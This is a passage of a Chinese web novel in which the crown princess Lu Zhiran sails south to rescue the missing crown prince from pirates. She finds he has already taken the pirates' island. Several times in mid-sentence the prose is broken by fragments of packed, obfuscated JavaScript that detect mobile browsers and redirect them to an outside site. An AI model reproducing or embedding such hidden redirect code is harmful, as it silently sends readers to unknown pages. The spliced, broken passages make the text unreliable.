“奴婢跟在您身边,也能伺候您的日常之事,这些事霜华做得不如我们细致。” 陆知苒心想,出门在外,谁还讲究那些呢? 但两个丫鬟一脸恳切,眼巴巴地望着她,浑似两只害怕被抛弃的小狗,看得陆知苒不禁有些心软了。 “此行或许会十分凶险,你们要做好准备。” 听出了她话里的松动之意,二人面露欣喜,当即连连保证。 “奴婢不怕吃苦。” “奴婢定不会给您添麻烦。” 陆知苒到底点了头,“既然你们想去,那便一道去吧。赶紧收拾东西,越快越好。” 上次不带她们,是因为西平的战况不明,带上二人也帮不上忙。 这次,危机和凶险发生在海上,只要不出海,那些海寇也定不敢上岸滋扰。 两个丫鬟跟了自己这么些年,从未出过京城,这一回便带上她们,也算是见见世面了。 陆知苒又去见了洛观澜,让他帮忙准备几艘船和人手,她要去一趟闽南——她的商船已经出了海,她只能求助外援。 洛观澜二话不说,立马安排人手准备。 陆知苒又让人给恒瑞商行的管事闻守义去信,想见一见他。 闻守义恰在京中,他自是不敢托大,连忙亲自来拜见了陆知苒。 陆知苒没有拐弯抹角,直接开门见山地表明来意。 她想向闻守义借人。 闻守义手底下的商船出过海很多次,是经验丰富的老手,对于闽南海域的境况也十分熟悉,她既是要去救人,自然要带上足够的帮手。 闻守义早得了自家殿下的吩咐,对陆知苒的请求毫不推脱,立马答应下来。 “小的这就去准备!明日一早就能启程。” 陆知苒心头暗松了口气,“多谢闻管事大义。” 闻守义哪里敢承她的谢?连道“不敢。” 最后,陆知苒去了蒋家。 她来寻蒋南笙,想请她与自己同行——准确地说,陆知苒是需要林铮的海东青帮忙。 大海茫茫,人力终究有限,海东青在海上寻人,自然比他们要方便许多。 蒋南笙若是愿意同行,林铮必会跟随左右,海东青自然就借到了手。 陆知苒在蒋南笙面前没有隐瞒,将萧晏辞失踪和自己的计划尽数道来。 蒋南笙闻言,面上陡然笼上凝重。 她二话不说,立马答应。 “好,明日我们与你一道出发!” 陆知苒握着她的手,面露感激,“南笙,多谢你。” 蒋南笙反握住她,“说什么傻话,阿辞是我自小一起长大的挚友,我本就不会对他见死不救。只是,皇上那头,我得提前报备。” 她隔三差五就需入宫为皇上施针诊脉,不能这么平白无故地消失了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021525|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>陆知苒略一迟疑,“我与你一道入宫。” 她担心皇上会阻拦她出京,毕竟她如今身份不同,不该继续抛头露面,所以她本打算先斩后奏。 但如今既然绕不开,那便与蒋南笙一道入宫吧。 有二人动之以情,晓之以理,定能说服皇上。 德丰帝本就在为萧晏辞失踪之事大动肝火,而今听了陆知苒和蒋南笙的计划,一时面露复杂。 “你们可知出海十分危险?” 陆知苒道:“再大的危险,也不及太子的安危重要。父皇,儿媳自知一介女流,能力浅薄,但也想为此尽一点绵薄之力,只盼太子能早日平安归来。” 德丰帝闻言,心头生出触动。 上次,阿辞在西平遇险,也是陆知苒前往搭救。 这次,她得知消息,亦是第一时间做了各方安排,随时准备出发营救,这份情谊和胆气,便是常人所不及。 德丰帝又想到悟尘大师的批命,心中亦是不自觉生出希望。 或许,陆知苒前去,当真能顺利找到太子。 而今,太子的安危比任何事都重要,太子一旦出事,大齐朝定又要陷入风波,他这副身体,实在撑不起更多的波澜了。 德丰帝大笔一挥,直接允了。 他还给了陆知苒一个令牌,“有此令牌,闽南的水师便可听你调令。陆氏,朕等着你的好消息。” 陆知苒立马恭敬地接过。 “儿媳定竭尽所能,不负父皇所托。” 出宫前,陆知苒又去给柔贵妃请了安,但没有提及萧晏辞之事,以免她担心。 之后她有一段时间不能入宫,但此事既然已经在德丰帝处过了明路,他自然能想法子帮自己善后。 几方人手各自忙碌,为接下来的出行准备,自是不提。 翌日,一大早,众人整装,早早登了船,往闽南而去。 陆知苒有些晕船,好在有蒋南笙提前备好的药,她的症状很快好转。 自京城登船南下,加急航行,沿途未作停靠,一路顺风顺水,过长江、穿钱塘,未及十日,闽南的黛青山影已浮现在海天之际。 第475章 把海寇杀绝 闻守义此次亲自同行。 他指着东边的海域对陆知苒道:“过此岬角,西行即入外海——黑牙岛便在彼处!若折向东,仍走内海官道,顺闽安运河直下,三日可抵泉州码头!” 陆知苒凭栏远望,但见西面沧溟无际,浊浪排空,心中思绪翻涌。 萧晏辞失踪的黑牙岛,就在这片海域深处…… “太子妃,我们是要西行入外海,还是向东走内海官道?” 陆知苒沉吟片刻,“先去泉州码头。” 他们赶来闽南,路上又经过了十余天,说不定萧晏辞和谷栖山已经平安返回了,他们贸然入外海,反倒将自己陷入危险。 闻守义得令,立马心中有了数,船只驶入闽安运河,破浪南下。 行了大半日,天际忽现数道帆影。 “是战船!” 陆知苒疾步出舱,见十丈外铁甲森然的战船压浪而来,黑底赤旗猎猎翻卷——正是泉州水师的“靖海”旗! 寻常商船若遇战船,定立马避让。 但他们非但不避,反迎了上去,顿叫对面生出警惕,纷纷拔剑示警。 林铮出面,亮出身份,对面依旧警惕未消。 陆知苒正要亮出皇上的令牌,对面船上忽传来一道惊喜的声音。 “太子妃!” 陆知苒循声看去,却没认出对方。 蒋南笙认得。 “他是薛宏轩,是阿辞的亲卫之一。” 待双方船只靠近,他飞身跃起,落于对面甲板上。 “卑职薛宏轩,参见太子妃!” 薛宏轩的出现让众人心头一喜,但见他此时的模样,心中旋即又是一沉。 他的脸被海上的烈日晒得黝黑皲裂,眼窝深陷,神色憔悴不堪。 陆知苒指甲深陷皮肉之中。 “薛宏轩,殿下何在?” 薛宏轩重重叩首,声音满是艰涩。 “卑职无能,未能寻到殿下踪迹……” 陆知苒深吸了一口气,很快镇定下来。 “此事的来龙去脉,跟我一五一十尽数道来。” 赵家事发之后,有余党逃至海外,投靠了海寇。 但那些海寇翻脸无情,赵家人没了价值,便想一脚踢开。 赵家余党在海上也没有容身之所,心中生怨,便一不做二不休,打算行刺萧晏辞,来个鱼死网破。 这些人不过乌合之众,自然成不了气候,尽数被捉拿了。 萧晏辞从这些人口中探知岛上的情况,但顾及海寇凶悍、海上作战风险,本欲周密部署后再行动,但此时却发生了另一件事,彻底点燃了萧晏辞的怒火。 “泉州港突传噩耗,十余艘商船在黑牙岛附近被劫,上满载金银珠宝,价值连城。海寇猖狂至极,抢了钱财,连人也不放过,将商船船员尽数斩杀。” 顿了顿,薛宏轩看了陆知苒一眼,低声道:“其中,便有太子妃您的商船。” 陆知苒神色陡然一凝。 薛宏轩继续道:“一位管事藏在舱底躲过一劫,而后趁着匪徒不备,乘坐小船逃回内海,这才将此番恶行公之于众。那名管事,名唤张德安。” 陆知苒再次怔住。 张德安便是她的人,她的商船组建和带队出海之事,都是他一手操办起来的。 陆知苒既庆幸张德安还活着,同时更心痛同行的那些人都丢了性命。 他们是旁人的儿子、丈夫、父亲,他们丢了性命,不知要毁了多少个家庭。 “原本有朝廷震慑,那群海寇即便劫掠商船,也会手下留情,但此次赵家出事,连带着就近海域的海寇也被清洗剿灭了不少,他们因此心生恨意,这才对过往商船进行报复,也是对朝廷的挑衅!” “太子殿下立马派了水师前去清剿海寇,但水师吃了败仗,死伤惨重!那些海寇胆大包天,根本不把朝廷放在眼里。太子殿下若不有所作为,朝廷的颜面将被这些匪寇彻底踩在脚底,这片海域也会不得安宁,太子殿下这才亲自率兵出战。” 薛宏轩的话说完,周遭一片静谧。 海寇不灭,沿海百姓将永不得宁日。 萧晏辞出兵,不仅仅是为了替陆知苒抢回钱财,也是为那些死去的水师报仇,更是为了守护沿海百姓未来的安宁。 对于那些穷凶极恶的海寇,不把他们杀绝了,打怕了,他们就会继续作恶。 陆知苒迅速让自己冷静下来。 “殿下失踪至今,你们派了多少人出海? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026296|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都去过哪些海域?可有发现什么线索?” “泉州水师已派出七批战船,每批十二艘,轮番搜遍黑牙岛方圆百里海域。但黑牙岛已经人去岛空,属下只找到了这个残破的令牌……” 那是半枚青铜令牌,边缘已被海水蚀出绿锈,正中“靖海”二字也一分为二——正是萧晏辞调遣水师的令信。 这说明,萧晏辞定然曾经在那里出现过。 但现在,人已经不见了。 只要没有亲眼看到他的尸体,一切就都还有希望。 陆知苒不再多说,直接下令商船掉头,往外海而去。 薛宏轩大惊,“太子妃,外海十分凶险,你万不可涉险。” 陆知苒不容置疑,“我既来了此处,就不惧凶险。不必多说,听命行事!” 她亮出了皇上的令牌,泉州水师便不敢再有异议。 她要把翠芙和丹烟送回去,两人却死活不肯。 “我们不怕!无论有何危险,我们都要跟在您的左右。” “我们定然不会添乱的。” 陆知苒见此,便不再勉强。 战船打头,其余商船紧随其后,往外海而去。 到了外海,海面不复平静,海浪汹涌,他们的船只破开浊浪,直指外海深处。 远处,黑牙岛的轮廓渐渐浮现,如一头蛰伏的凶兽,等待着他们的到来。 此处是萧晏辞失踪的地方,她定要来看看,或许能找到新的线索。 海面上雾气很浓,能见度很低。 闻守义站在瞭望台上,眯着眼睛看着远方。 “我怎么隐约瞧见前方似有炊烟?是我老眼昏花了吗?” 闻守义这话引来不少人注意,他手底下有经验的船员也都认真细看,“我也觉得像炊烟。” “那岛上有人。” 薛宏轩眼珠子都快瞪出来了,那黑牙岛他们已经搜了不下五遍,半个喘气儿的都没有。 本以为此行必然又会一无所获,没曾想,竟然有了新发现! 他顿时生出希冀,“说不定是太子殿下,快,我们快上岛看看。” 陆知苒心中虽升起希望,但却没有盲目高兴。 “等等,先别急,先弄清楚敌友再行动不迟。” 第476章 把贼窝掀个底朝天 薛宏轩立马压下心头激动。 陆知苒唤来林铮,海东青该派上用场了。 林铮吹了一声口哨,不知去了何处的海东青飞了回来,落在他的肩头。 林铮对它交代了一番,又赏了它一块肉干,摸了摸它的脑袋,它便立马展翅,朝前方飞去。 所有船只都停了下来,不再靠近,以免惊动了岛上之人。 两刻钟后,海东青终于飞了回来,落回了林铮的肩头。 它嘴里叼着一个东西,林铮将东西取了下来,又给它赏了一块肉干,赞赏地挠了挠它的脑袋。 海东青一口叼走肉干,又扑着翅膀飞走了。 众人都将目光落在林铮手中的东西上,他将之展开。 赫然是一面绣着双头蛇的绿旗。 立马有人认了出来,“这是海寇的图腾。” 薛宏轩声音微沉,“我们前面几次上岛清剿,几乎将整个岛都翻遍了,不可能还留着这般完好的绿旗。” 这是海寇的东西,而且是带着标志性的旗帜,若当真发现,他们定要烧了或砍成碎片泄愤,而这绿旗干净完好。 一切已然再明了不过,眼下,黑牙岛上的人是海寇,他们得知朝廷已经搜了好几遍,认为黑牙岛安全了,所以又回来了。 事实上,若非他们遇到了陆知苒的船队,泉州水师的确不会再往黑牙岛而来。 原本大家对陆知苒的命令颇有微词,没曾想,这一趟竟然真的有了收获。 他们跟海寇斗智斗勇这么久,却每每都被对方溜着玩儿,根本抓不到人。 今日,可终于逮到他们了。 陆知苒一介女流,自不敢托大。 “陈指挥使,剿寇是水师本职,亦是尔等擅长之事。依你之见,要肃清此岛,我军有几成把握?” 泉州水师指挥使陈沧抱拳一礼,甲胄铿然:“回太子妃,黑牙岛地势险要,若强攻,恐伤亡甚重,唯有突袭,方有胜算。末将以为,全军熄火,潜行至黑牙岛东侧暗礁,再遣死士从西侧溶洞潜入,内外夹击,必献贼首于阶下。” 陆知苒颔首,“好,此役,便交由陈指挥使。” 陈沧原本最担心的便是陆知苒仗着太子妃的身份和德丰帝的令牌,强出头瞎指挥。 而今,她主动交还指挥权,陈沧松了口气的同时,也生出了要大战一场,一雪前耻的豪情。 陈沧当即传令,“子时三刻行动!以火箭为号,先毁其船坞,再围剿主寨!” 夜色如同一只猛兽,将整片海域吞噬,皎白的月光撕破云层,洒在波光粼粼的海面上。 一艘艘战船悄无声息地往黑牙岛驶去。 陆知苒和蒋南笙都没有睡意,二人披着大氅,站在甲板上,往黑牙岛上眺望。 夜里的海很冷,海风中都透着股咸腥味。 陆知苒打了个喷嚏,蒋南笙开口,“回去休息吧,眼下我们帮不上什么忙,唯一能做的便是养精蓄锐,不拖后腿了。” 陆知苒当即点头,进了船舱。 后半夜,黑牙岛上突然火光冲天而起,紧接着便是一阵打杀声。 陆知苒睡得浅,很快惊醒,但她没有起身,依旧闭目养神。 外头有人时刻关注着战况,若当真有了什么变故,会第一时间来通禀。 她的确累了。 这些天在船上吃不好睡不好,对萧晏辞的担忧也攀至顶峰,她需要放松,更需要休息。 半睡半醒间,她又入了梦。 血月当空,赤红色的礁石如犬牙交错,最高处的岩壁上,赫然刻着一只被箭矢贯穿的鲨鱼图腾。 那鲨鱼面目狰狞,陆知苒猛地一下从梦中惊醒了。 几乎同时,陆知苒的舱门被人敲响了。 “太子妃,捷报!我军已经攻下黑牙岛!” 陆知苒立马起身,飞快穿上衣裳。 “可有什么收获?” “那些海寇供述,太子殿下的确在黑牙岛出现过,但被血鲨帮诱去了赤礁岛……” 血鲨帮,便是此次劫持商队的海寇帮派,是这一片海域中,势力最大的帮派。 陆知苒一怔,赤礁岛。 不知为何,她想到了方才梦中所见的情形。 “赤礁岛是什么样的?是不是有赤红色的礁石,还有被箭矢贯穿的鲨鱼图腾?” 回禀之人明显愣住,“太子妃怎么知道?那些海寇便是这般描述的。” 陆知苒没有解释,只道:“即刻出发,前往赤礁岛!” 她有一股强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026297|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈的直觉,萧晏辞就在赤礁岛。 此时,赤礁岛的岩洞深处,篝火噼啪作响。 萧晏辞披着一件沾满鱼腥味的破旧皮甲,懒散地靠在石壁上,指尖摩挲着半枚青铜令牌——泉州水师的调兵符,此刻正被他用来削着一只半熟的野果。 “主子,今日又截了一艘探子船。” 一名“海寇”入内低声禀报,掀开兜帽,露出的却是贺昀的脸。 “还是黑虎帮的人,已经按老规矩处理了。” 萧晏辞轻笑一声,将果核弹入火堆:“黑虎帮倒是执着……第几艘了?” “第七艘。”贺昀抹了把脸上故意抹的炭灰,“再这么下去,他们迟早会起疑。” “疑就疑吧。”萧晏辞望向洞外渐暗的天色,“反正我们的船也毁了,走不了。” 这岛上有吃有喝有住,倒是也不怕。 只是,他失踪这般久,消息传回京中,朝局怕是会受影响,母妃和知苒也要担心了。 此刻,陆知苒的船队正破浪而来——她做梦都想不到,自己急着来救的人,早已反客为主,把贼窝掀了个底朝天。 赤礁岛地势险恶,礁石嶙峋,潮汐汹涌,血鲨帮在此盘踞多年,从未被官兵攻破。 赤礁岛附近时常有赤鳞鳄出没,其背甲赤红如礁石,赤礁岛也因此得名。 赤鳞鳄体型庞大,咬合力可碎船板。 出发前,萧晏辞就将海上各方情况打探了个一清二楚,其中包括了赤鳞鳄的习性。 朝廷水师不能轻易上岛,这些赤鳞鳄却可以。 萧晏辞命人将箭羽都提前浸泡在特制的药水里,那药水便是关键。 他们与海寇数次交锋,无数箭羽飞到岸上,海寇以为朝廷水军伤不到他们分毫,殊不知,祸根已然埋下。 箭羽上浸泡的药水,对赤鳞鳄有巨大的吸引力,它们闻着味便上了岸。 海寇们见到这样的庞然大物,吓得屁滚尿流。 他们对赤鳞鳄发起攻击,反倒激怒了那大家伙,惹来杀身之祸。 海寇们想登船逃跑,却被早就等着的朝廷水军来了个包抄,或被就地斩杀,或被当场活捉。 泉州水师大获全胜,所有人都有种扬眉吐气的痛快。 第477章 大水冲了龙王庙 但正所谓乐极生悲,他们待岛上恢复平静之后陆续登岛,本想养精蓄锐之后便返程,但因一时疏忽,没有把船上的药水处理好,赤鳞鳄把他们的船都咬坏了。 当真成也赤鳞鳄,败也赤鳞鳄。 他们就这么被困在了岛上。 眼下,他们正派人修补船只,但船只损毁严重,要修好还需要时日。 此处距离内海甚远,他们还要往回运送很多货物,船只修补半分马虎不得。 萧晏辞命手下众人换上血鲨帮的装束,每日照常“巡岛”,甚至故意劫掠几艘过路小船,维持“海寇尚在”的假象。 但黑虎帮显然已经察觉异常,这才连续派船试探。 这时,一个亲卫匆匆跑进来,面上带着焦急。 “太子,不好了,属下方才从一海寇口中探到了一条新消息,血鲨帮与黑虎帮早有约定,要谈一桩大买卖!约定的时间就在三日后。黑虎帮这段时日频繁来试探,只怕就是为了这事。” 这个消息让萧晏辞一下坐直了身子,眉头也一下拧成了疙瘩。 贺昀:“咱们这段时间一直没有回应,只怕黑虎帮更要起疑了。” 萧晏辞立马去找谷栖山。 谷栖山正躺在床上捶腿,一见到萧晏辞,他立马停下了动作要起身行礼。 萧晏辞赶紧把他扶了回去,“谷将军,不必讲究这些虚礼。可是腿又疼了?” 谷栖山便顺势坐了下来,面上露出几分惭愧。 “真是老了,在这岛上住了十几天就受不了了。” 他常年征战,身上落下不少旧疾。 这岛上湿气重,每每夜里,他的膝盖都会疼痛难忍,奈何岛上没有药物,便只能忍着。 萧晏辞见此,面露几分不忍。 看来,他们不能再继续在这里逗留了。 萧晏辞将最新打探到的消息告知谷栖山,谷栖山也露出了凝重之色。 “看来,此战不可避免。” 萧晏辞眼睛微眯,说出了自己的计划,“与其被动等待,不如主动出击,劫了对方的船,顺便,把他们的老窝也一起端了。” 这破地方,他也待够了。 萧晏辞和谷栖山一起碰头商议了一番,直至后半夜方歇下。 岛上加强了戒备,随时等待对方的到来。 没想到,第二天,天色才刚蒙蒙亮,警戒的侍卫就匆忙来报。 “太子,属下发现了一支船队,数量不少,看上去来势汹汹!” 萧晏辞立马亲自上了警戒台眺望。 岛上雾气弥漫,能见度极低,但他们在海寇劫掠的货物中找到了一个新奇玩意儿,望远镜,有了此物,他们可以看清数公里以外的事物。 对方颇为警惕,远远停靠着,没再往前,望远镜也只能看到船上人影往来不断,其余的便看不真切。 若他们没有这望远镜,压根察觉不到对方的存在。 “太子,对方看上去人手不少!且他们藏头露尾,只怕是图谋不轨,想趁我们不备偷袭。” 萧晏辞放下望远镜,眼神冷了几分。 “只要他们敢来,孤定要叫他们有去无回!传令下去,准备迎战。” 瞭望台的侍卫一直时刻盯着那头的动静,不敢有片刻松懈。 入夜,那些船终于有了动静。 他们果然悄悄地往岛上靠近,瞭望台上的侍卫见此,立马来了精神,急忙去向萧晏辞汇报。 “太子,那些船动了,他们兵分两路,往东侧和西侧靠近,多半是要从这两侧上岸,左右夹击!” 众人早就磨刀霍霍,闻言俱是露出杀气腾腾之色。 “老子手里的刀都快要生锈了,这些狗东西来得正是时候。” “拔刀就是干!” 萧晏辞看着众人斗志昂扬的模样,出声叮嘱。 “不可轻敌,遇到硬茬不要硬上,自保为上。” 他们能轻易攻下赤礁岛,是用了险招,投机取巧的成分居多,但不是每一回都能投机取巧。 若一开始就轻敌,难保不会吃大亏。 众人听了萧晏辞的训诫,立马心头一凛,不敢再侥幸大意。 对方自以为悄无声息,慢慢摸上了岸,然后慢慢往海寇所住的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16032530|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房屋摸去。 趁他们睡熟,给他们来个痛快。 然而,当推开房门,迎面而来的却是泛着寒光的大刀迎头劈来。 一声大喊撕开了深夜的宁静,“不好,有诈!” 瞬间,隐匿在暗处的人纷纷现身,与来路不明的入侵者打在了一处。 彼此都不留余地,狠狠拼了命,厮杀与惨叫此起彼伏。 贺昀手上挨了一刀,他忍着疼,怒骂,“**海寇,敢伤你贺爷爷,给老子拿命来!” 对面之人闻言明显顿住,一个迟疑间,贺昀的大刀便迎头劈来,那气吞山河的气势,俨然是要将对面之人生劈了。 对面之人急忙举刀格挡,刀刃泛着寒光,投射到贺昀的脸上。 “贺昀,是我啊!” 贺昀闻言,周身的杀气骤然一收,眼底闪过一抹难以置信。 “薛宏轩!怎么是你?” 他收了刀,薛宏轩浑身也立马泄了力。 “我们听说太子殿下被引到了赤礁岛,就急忙赶来救你们了,你怎么穿着海寇的衣服?” 这话让贺昀如梦初醒,他顾不上解释,连忙大喊。 “大家不要打了,都是自己人,自己人!” 那头,萧晏辞也察觉了不对。 他与几人过招时,发现他们的招式俨然自成章法,还透着几分熟悉,与海寇的打法完全不同。 贺昀的大喊让众人都停了下来,有人点亮了火把,这才看清这群“水鬼”身上穿着的,赫然是水师的服装。 而不少水师也从这群“海寇”中认出了自己相熟之人。 他们这是大水冲了龙王庙,自家人不认识自家人了! 陈沧等人见到了同样一身海寇装扮的萧晏辞,终于明白了是怎么一回事,他们悬着的心彻底放下。 陈沧带头跪下,“卑职愚钝,竟未认出太子殿下,险些酿成大祸,卑职该死!” 萧晏辞也没料到事情会如此戏剧。 “陈大人请起,你乃无心之失,孤自然不能责怪。当务之急,还是先给伤员包扎救治。” 陈沧连忙应是。 第478章 重逢 大家都以为对方是敌非友,方才交锋之时也半点没留情,不可避免地出现了伤亡。 但好在,这场混战才刚开始,就被及时叫停了,伤亡人数不算多,伤者二十三人,丢了命的有三人。 看着那三具尸体,萧晏辞的心里有些不是滋味。 “除了朝廷的抚恤,孤也会单独拿出一笔银子,抚恤他们的家人。诸位受了伤,出了力的,孤也会一视同仁,绝不会叫你们吃亏。” 有了萧晏辞的这番话,众人心头都火热起来,这段时间在海上漂泊所吃的苦,也终于有了交代。 贺昀的伤已经包扎好了,他挥着没受伤的手臂,给了薛宏轩一锤。 “你小子,下手可真狠,差一点把我的胳膊砍断了。” 薛宏轩也反唇相讥,“你方才那一刀劈得也没留情,若非我挡得及时,我就要被你劈成两半了。” 贺昀也寸步不让,“这黑灯瞎火的,谁知道是你们?” “我们也没料到你们竟然把这赤礁岛也攻下来了,我们事先派了海东青上岛打探了情况,它叼了一件海寇穿过的破衣裳回去,我们自然以为这岛上都是海寇。” 二人正斗嘴,便见一只海东青飞来,在低空打了个旋,发出高亢的叫声。 贺昀见了,不禁道:“这海东青怎么瞧着有点眼熟?” 萧晏辞也眯着眼睛看,旋即很快认了出来。 这是林铮的那只海东青。 所以,南笙来了? 萧晏辞正待开口询问,陈沧便一拍脑门,懊恼道:“卑职该死,竟忘了派人去给太子妃报信。” 萧晏辞的表情凝固,露出不可置信的神色。 “你方才说什么?给谁报信?” 薛宏轩插话,“是太子妃,太子殿下您还不知道呢,太子妃担忧您的安危,一路乘船从京城赶来,中途与我们的战船相遇,她便与我们一道出海来了。” 萧晏辞闻听此言,心中既震惊又后怕,既感动又有点生气,为她的胆大包天。 如果这赤礁岛上是真正的海寇,如果他们这次突袭没有成功,海寇反扑,将他们的船劫了下来,陆知苒落入了他们的手里,将会是怎样的后果? 光是想想,萧晏辞已经开始冒冷汗了。 陈沧立马派人去传消息,小半个时辰后,几艘商船陆续靠岸。 陆知苒站在甲板上,远远看到了那道熟悉的身影,心中情绪便似这海浪,奔腾翻涌,久久难平。 侍卫架起了梯子,陆知苒小心地迈步,萧晏辞上前,借着身高优势,一把将她揽了下来。 落了地,他的手却依旧牢牢地圈着她的腰,没有放开的意思,看着她的眼神也带着灼热的温度。 她的腰身更加纤瘦了,自己只轻轻一握,就要掐断了,一时心中万千思绪都尽数化作心疼 “为什么跑来这里?有多危险你知道吗?” 说完又看向蒋南笙,有些埋怨,“南笙,你怎么不拦着些?” 蒋南笙:好大一口锅。 不过这是他俩说话的惯常风格,她也并没往心里去。 陆知苒正要开口解释,林铮就硬邦邦地道:“腿长在她身上,谁也拦不住。” 萧晏辞朝他丢了一记眼刀。 蒋南笙赶忙打圆场,“她的心都挂在你这儿,我便是想拦也无能为力啊。” 陆知苒也开口,“是我自己要来的,南笙也是受我所托才陪我走了这一趟,殿下不该怪她,反而应该感谢她。” 蒋南笙连连摆手,语气阴阳怪气,“不敢不敢,太子殿下的感谢我可受不起。” 萧晏辞:“……行了行了,忘不了你的功劳。” 二人自小一起长大的交情,互相拌嘴已是常事,谁也没真的放在心上。 蒋南笙在地上走了一圈,不由感叹,“还是脚踩在地上舒坦。” 船上摇摇晃晃的,她感觉自己人都要散架了。 萧晏辞又道:“早知如此,你们就不该来。这海上是**的地方,岂能随随便便来?” 陆知苒反问,“殿下也知海上危险?那你为何以身涉险?” 陆知苒原本满腹担心,眼下见他无事,那股担心就变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16032531|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了恼怒。 萧晏辞被反将一军,一时语塞。 他有些讨好地将她搂紧了几分。 “我命硬得很,岂会随随便便出事?” 陆知苒有心呛声,但碍于是在人前,自己不能下了他这个太子的脸面,只能忍下了。 萧晏辞见她脸色依旧不虞,讨好地握了握她的手。 蒋南笙见萧晏辞在陆知苒面前那副挨训的模样,不免觉得有些好笑。 她赶紧插话,问起了另外一件事。 “阿辞,你们是怎么打下这赤礁岛的?此处易守难攻,可不好拿下。” “此事说来话长,大家疲累了,今夜便先休息,诸事明日再议。” 萧晏辞命人给他们张罗安置住处。 这一夜有惊无险地过了。 萧晏辞将陆知苒带回了自己的住处,一个破旧的小木屋,地方并不宽敞,他住的这段时日已经命人从里到外打扫过,但看上去依旧灰扑扑的,带着一股海上特有的咸腥味。 这样的地方,萧晏辞可以将就,但却觉得实在委屈了陆知苒。 “这里条件不好,委屈你了。” “我没有那么娇气。” 萧晏辞已经在这里住了大半个月,屋中各处都是属于他的痕迹,陆知苒只觉安心。 萧晏辞问起了京中的情况,陆知苒缓声道:“父皇收到了消息,十分忧心挂念。母妃不知情,我们都瞒着她。” 说完,她又旧话重提,“殿下,你可知自己的行径有多冒险?你是大齐太子,关乎国本,你若出事,大齐朝好不容易稳定下来的局势就要彻底乱了套!” 萧晏辞老老实实听训,待她说完了才开口。 “那些海寇不仅劫了你的商船,杀了你的人,连朝廷派出的水师也被他们杀了大半,他们行事如此猖獗,我身为太子,若龟缩不出,便失了民心,也失了威望。为了撑起太子的威信,也为了替死去的人报仇,为闽南的百姓铲除后患,我都必须亲自出战。” “那你有没有想过,你若出事,母妃该怎么办?我该怎么办?” 第479章 踢到了铁板 说话间,她的眼眶竟染上了红。 她立马撇过头,不想让他见到自己这般脆弱的模样。 萧晏辞见此,却是心疼得不得了,赶忙把人抱在怀里。 “是我不对,让你担心了。” 但他知道,若是重来一次,他依旧会做出同样的决定。 海寇欺到了跟前,他身为太子,不能毫无担当。 这些是他的子民,他要好好守护他们。 陆知苒其实明白他的权衡,以往的她,或许还能理智地思考和应对此事。 但如今,真正事发的时候,她才发现自己根本没法理智的思考。 在不知不觉中,对他的担忧已然压过了一切。 萧晏辞察觉到了她的转变,心中升起一股前所未有的熨帖与暖意。 “你知道我们是怎么打下赤礁岛的吗?这些海寇,也不过如此,我们不过略施小计,便将对方拿下了。” 他抱着她,语气温柔,又带着一点炫耀的意味,将这场原本凶险又心惊动魄的交锋轻描淡写地讲述了出来。 陆知苒认真听着,但后来,困倦慢慢袭上心头,她掩唇打了个哈欠,眼皮也越来越沉。 这段时日的担忧和紧绷,在这一刻彻底放松下来,她躺在他温暖宽厚的怀里,慢慢陷入了梦乡。 这一夜,她睡得分外安稳香甜。 翌日,陆知苒醒来的时候,便听到了外头喧闹的兵士演练的声音。 翠芙和丹烟一边伺候她更衣洗漱,一边兴奋地叽叽喳喳。 “太子妃,您快起来,这海岛上的风景可美了。” “对呀,在这海岛上看日出可漂亮了,奴婢从未看到过这样的美景呢。” 